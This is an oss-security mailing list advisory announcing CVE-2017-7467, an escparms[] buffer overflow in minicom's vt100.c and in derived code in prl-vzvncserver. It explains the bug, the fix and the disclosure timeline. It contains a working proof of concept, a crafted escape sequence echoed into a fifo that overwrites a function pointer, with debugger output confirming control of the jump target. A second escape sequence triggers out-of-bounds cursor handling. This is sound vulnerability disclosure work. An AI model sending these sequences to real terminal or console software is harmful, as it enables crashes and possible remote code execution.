|
Message-ID: <20170418132255.GA4877@openwall.com> Date: Tue, 18 Apr 2017 15:22:55 +0200 From: Solar Designer <solar@...nwall.com> To: oss-security@...ts.openwall.com Cc: Adam Lackorzynski <adam@...inf.tu-dresden.de> Subject: CVE-2017-7467: minicom and prl-vzvncserver vt100.c escparms[] buffer overflow Hi, This is to announce a vulnerability that has just been fixed in minicom 2.7.1 released earlier today, and that had been found and fixed in derived code in prl-vzvncserver (a Virtuozzo 7 component) earlier this year. minicom 2.7.1 is available for download at: https://alioth.debian.org/projects/minicom/ The main bug is that in minicom's vt100.c escparms[] is declared as: static void (*vt_keyb)(int, int);/* Gets called for NORMAL/APPL switch. */ static void (*termout)(const char *, int);/* Gets called to output a string. */ static int escparms[8]; /* Cumulated escape sequence. */ static int ptr; /* Index into escparms array. */ static long vt_tabs[5]; /* Tab stops for max. 32*5 = 160 columns. */ but is filled as: /* See if a number follows */ if (c >= '0' && c <= '9') { escparms[ptr] = 10*escparms[ptr] + c - '0'; return; } /* Separation between numbers ? */ if (c == ';') { if (ptr < 15) ptr++; return; } Notice the 8 vs. 15 (meaning 16 elements) discrepancy. At least in the Fedora 23 package of minicom, this lets me adjust or replace the termout function pointer. If the variables were put in .bss in the other order (perhaps by a different compiler), then ptr could be overwritten, which is likely also exploitable. Here's how to reproduce: mkfifo fifo gdb /usr/bin/minicom (gdb) r -oD fifo Starting program: /usr/bin/minicom -oD fifo On another terminal: echo -ne "\033[0;0;0;0;0;0;0;0;00000000000000000000001094795585;00000000000000000000001094795585" > fifo Then press Enter in minicom, and: Program received signal SIGSEGV, Segmentation fault. 0x000055555555d31f in v_termout () (gdb) disass Dump of assembler code for function v_termout: [...] 0x000055555555d316 <+70>: mov %r12d,%esi 0x000055555555d319 <+73>: mov %rbp,%rdi 0x000055555555d31c <+76>: pop %rbp 0x000055555555d31d <+77>: pop %r12 => 0x000055555555d31f <+79>: jmpq *0x225ebb(%rip) # 0x5555557831e0 0x000055555555d325 <+85>: nopl (%rax) 0x000055555555d328 <+88>: mov $0xa,%edi 0x000055555555d32d <+93>: callq 0x55555555be70 <vt_out> 0x000055555555d332 <+98>: jmp 0x55555555d304 <v_termout+52> End of assembler dump. (gdb) x/2x 0x5555557831e0 0x5555557831e0: 0x41414141 0x41414141 As you can see, I am able to control the address to branch to. Moreover, on typical 64-bit little-endian there's partial ASLR (PIE) bypass due to ability to keep most significant 32 bits of the function pointer intact. Thus, this bug likely allows for remote code execution. In the PoC above, the decimal numbers (corresponding to the 32-bit pointer halves) include leading zeroes (for exactly 32 digits in each number) in order to completely shift out, one bit at a time, the previous contents of the v_termout pointer. This works due to the multiplier 10 including 2 as a factor. The fix included in minicom 2.7.1 is simply: - if (ptr < 15) + if (ptr < 7) (I guess a later code revision could introduce a macro for this array's size, or determine the array size by dividing two sizeof's.) I'd like to thank Adam Lackorzynski, CC'ed here, for producing the new minicom release promptly and in time for this announcement. I first found the bug during Openwall's security audit of the Virtuozzo 7 product, which contains derived downstream code in its prl-vzvncserver component. The corresponding Virtuozzo 7 fix is: https://src.openvz.org/projects/OVZ/repos/prl-vzvncserver/commits/6d95404e75b98f36b1cc85ee23df99dcf06ca13f We would like to thank the Virtuozzo company for funding the effort. In prl-vzvncserver, the escparms[] overflow wasn't obviously exploitable due to different nearby variables: static int esc_s = 0; #define ESC 27 static unsigned char vt_fg; /* Standard foreground color. */ static unsigned char vt_bg; /* Standard background color. */ static int escparms[8]; /* Cumulated escape sequence. */ static int ptr; /* Index into escparms array. */ static short newy1 = 0; /* Current size of scrolling region. */ static short newy2 = 23; but it also was clearly triggerable, as seen in an ASan-enabled build: ==45204== ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000006164a0 at pc 0x40c922 bp 0x7fffffffa700 sp 0x7fffffffa6f0 READ of size 4 at 0x0000006164a0 thread T0 #0 0x40c921 (/home/user/prl-vzvncserver-debug/prl_vzvncserver_app+0x40c921) #1 0x403e6d (/home/user/prl-vzvncserver-debug/prl_vzvncserver_app+0x403e6d) #2 0x7ffff43c8b14 (/usr/lib64/libc-2.17.so+0x21b14) #3 0x4043f4 (/home/user/prl-vzvncserver-debug/prl_vzvncserver_app+0x4043f4) 0x0000006164a0 is located 32 bytes to the left of global variable 'vt_bg (vt100.c)' (0x6164c0) of size 1 'vt_bg (vt100.c)' is ascii string '' 0x0000006164a0 is located 0 bytes to the right of global variable 'escparms (vt100.c)' (0x616480) of size 32 'escparms (vt100.c)' is ascii string '' In VzLinux's build of prl-vzvncserver as of when this issue was discovered, the following variables happened to follow escparms[] and were close enough: esc_s, vt_fg, vt_bg. Changing esc_s is benign - for valid values, it could as well be done directly (with the proper escapes), and the invalid values are unused. Changing vt_fg or/and vt_bg might have some other ill effects, although we'd expect only out of bound reads, so at worst crashes. That's because prl-vzvncserver's console.c defines only a 16 entry colourMap. In LibVNCServer, that table appears to be used to initialize related tables with bigger elements, but those inherit the size of 16. Out of bound reads from those tables in LibVNCServer might be triggered through having the color numbers above 15 written to the frameBuffer (which console.c will happily do once we overwrote vt_fg or/and vt_bg with such values) and then accessed via certain parts of LibVNCServer's code. We did not actually test for these potential ill effects of overwriting vt_fg or/and vt_bg. Regardless, it is inappropriate and unsafe to rely on a specific memory layout of a binary build, and of course the issue was promptly fixed. Some other issues inherited from minicom likely were exploitable in prl-vzvncserver - namely, incomplete validation of cursor coordinates in vt100.c. In minicom itself, there's further validation in mc_*() functions. In prl-vzvncserver, there was no such validation in its equivalent functions - and there are now more commits in the above repository fixing those issues (besides the commit referenced above). Specifically, a likely exploitable code path was triggered e.g. with: echo -ne "\033[2147483648B" but this appears to do little against minicom.(*) In fact, I ran a rather extensive set of escape sequences against minicom, which triggered no other crashes besides the escparms[] buffer overflow reported here. (*) Formally speaking, the code is also triggering C's undefined behavior when it allows signed integers to overflow. In practice, so far compilers only make use of compile-time detectable UB of this kind (such as to drop the UB-triggering code as an optimization, since they are allowed to). One change minicom could make later is switch to using unsigned types for escparms and coordinates. But we'd need to carefully review all uses for that, in case any place relies on a value temporarily becoming negative and on checking for that. prl-vzvncserver was using int and switched to "unsigned short". This may be weird, but it actually helps avoid integer overflows in calculations as inputs to calculations become more limited whereas intermediate results get promoted to int. Besides minicom and prl-vzvncserver, I managed to identify just one other project reusing this code (and also containing the issues), but it's obscure (likely unused): https://github.com/sigflup/vt100 I did not bother notifying this project in advance (putting the information at unjustified risk), but I intend to notify it now. For those into CVEs: CVE-2017-7467 is only for the escparms[] buffer overflow (in all projects reusing this code), not for other issues casually mentioned in here (even if some of them had higher impact on prl-vzvncserver). Those other issues have no CVE IDs. Timeline: 20161228 - bug found in prl-vzvncserver 20161229 - report to Virtuozzo 20170109 - fix committed in Virtuozzo (became part of an update later) 20170407 - report to minicom 20170408 - initial heads-up and CVE request via distros@vs, no detail 20170411 - detail shared with distros@vs 20170418 - fixed minicom release, public disclosure Alexander
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.